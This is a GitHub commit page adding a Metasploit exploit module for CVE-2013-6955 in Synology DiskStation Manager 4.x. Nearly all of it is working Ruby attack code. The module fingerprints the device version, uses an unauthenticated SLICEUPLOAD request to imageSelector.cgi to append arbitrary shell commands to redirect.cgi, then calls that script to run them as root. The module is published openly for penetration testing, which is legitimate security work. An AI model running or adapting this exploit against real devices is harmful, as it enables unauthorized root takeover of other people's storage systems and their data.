Skip to content

Commit f43bc02

Browse files
committed
2 parents 8be481f + 163a54f commit f43bc02

File tree

1 file changed

+162
-0
lines changed

1 file changed

+162
-0
lines changed
Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
##
2+
## This module requires Metasploit: http//metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
14+
&junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution",
19+
'Description' => %q{
20+
This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
21+
versions 4.x, which allows the execution of arbitrary commands under root
22+
privileges.
23+
The vulnerability is located in /webman/imageSelector.cgi, which allows to append
24+
arbitrary data to a given file using a so called SLICEUPLOAD functionality, which
25+
can be triggered by an unauthenticated user with a specially crafted HTTP request.
26+
This is exploited by this module to append the given commands to /redirect.cgi,
27+
which is a regular shell script file, and can be invoked with another HTTP request.
28+
Synology reported that the vulnerability has been fixed with versions 4.0-2259,
29+
4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable.
30+
},
31+
'Author' =>
32+
[
33+
'Markus Wulftange' # Discovery, Metasploit module
34+
],
35+
'References' =>
36+
[
37+
[ 'CVE', '2013-6955' ],
38+
],
39+
'Privileged' => false,
40+
'Platform' => ['unix'],
41+
'Arch' => ARCH_CMD,
42+
'Payload' =>
43+
{
44+
'DisableNops' => true,
45+
'Space' => 0x31337,
46+
'Compat' =>
47+
{
48+
'PayloadType' => 'cmd',
49+
'RequiredCmd' => 'generic perl telnet',
50+
}
51+
},
52+
'Targets' =>
53+
[
54+
['Automatic', {}]
55+
],
56+
'DefaultTarget' => 0,
57+
'License' => MSF_LICENSE,
58+
'DisclosureDate' => 'Oct 31 2013'
59+
))
60+
61+
register_options(
62+
[
63+
Opt::RPORT(5000)
64+
], self.class)
65+
end
66+
67+
def check
68+
print_status("#{peer} - Trying to detect installed version")
69+
70+
res = send_request_cgi({
71+
'method' => 'GET',
72+
'uri' => normalize_uri('webman', 'info.cgi'),
73+
'vars_get' => { 'host' => ''}
74+
})
75+
76+
if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN
77+
version = "#{$~[:major]}.#{$~[:minor]}"
78+
build = $~[:build]
79+
model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
80+
model = "DS#{model}" unless model =~ /^[A-Z]/
81+
else
82+
print_status("#{peer} - Detection failed")
83+
return Exploit::CheckCode::Unknown
84+
end
85+
86+
print_status("#{peer} - Model #{model} with version #{version}-#{build} detected")
87+
88+
case version
89+
when '4.0'
90+
return Exploit::CheckCode::Vulnerable if build < '2259'
91+
when '4.1'
92+
return Exploit::CheckCode::Vulnerable
93+
when '4.2'
94+
return Exploit::CheckCode::Vulnerable if build < '3243'
95+
when '4.3'
96+
return Exploit::CheckCode::Vulnerable if build < '3810'
97+
return Exploit::CheckCode::Detected if build == '3810'
98+
end
99+
100+
Exploit::CheckCode::Safe
101+
end
102+
103+
def exploit
104+
cmds = [
105+
# sed is used to restore the redirect.cgi
106+
"sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi",
107+
payload.encoded
108+
].join("\n")
109+
110+
mime_msg = Rex::MIME::Message.new
111+
mime_msg.add_part('login', nil, nil, 'form-data; name="source"')
112+
mime_msg.add_part('logo', nil, nil, 'form-data; name="type"')
113+
114+
# unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n,
115+
# so we use a placeholder and replace it later
116+
cmd_placeholder = Rex::Text::rand_text_alphanumeric(10)
117+
mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil,
118+
'form-data; name="foo"; filename="bar"')
119+
120+
post_body = mime_msg.to_s
121+
post_body.strip!
122+
post_body.sub!(cmd_placeholder, cmds)
123+
124+
# fix multipart encoding
125+
post_body.gsub!(/\r\n(--#{mime_msg.bound})/, ' \\1')
126+
127+
# send request to append shell commands
128+
print_status("#{peer} - Injecting the payload...")
129+
res = send_request_cgi({
130+
'method' => 'POST',
131+
'uri' => normalize_uri('webman', 'imageSelector.cgi'),
132+
'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}",
133+
'headers' => {
134+
'X-TYPE-NAME' => 'SLICEUPLOAD',
135+
'X-TMP-FILE' => '/usr/syno/synoman/redirect.cgi'
136+
},
137+
'data' => post_body
138+
})
139+
140+
unless res and res.code == 200 and res.body.include?('error_noprivilege')
141+
fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
142+
end
143+
144+
# send request to invoke the injected shell commands
145+
print_status("#{peer} - Executing the payload...")
146+
res = send_request_cgi({
147+
'method' => 'GET',
148+
'uri' => normalize_uri('redirect.cgi'),
149+
})
150+
151+
# Read command output if cmd/unix/generic payload was used
152+
if datastore['CMD']
153+
unless res and res.code == 200
154+
fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
155+
end
156+
157+
print_good("#{peer} - Command successfully executed")
158+
print_line(res.body)
159+
end
160+
end
161+
end
162+

0 commit comments

Comments
 (0)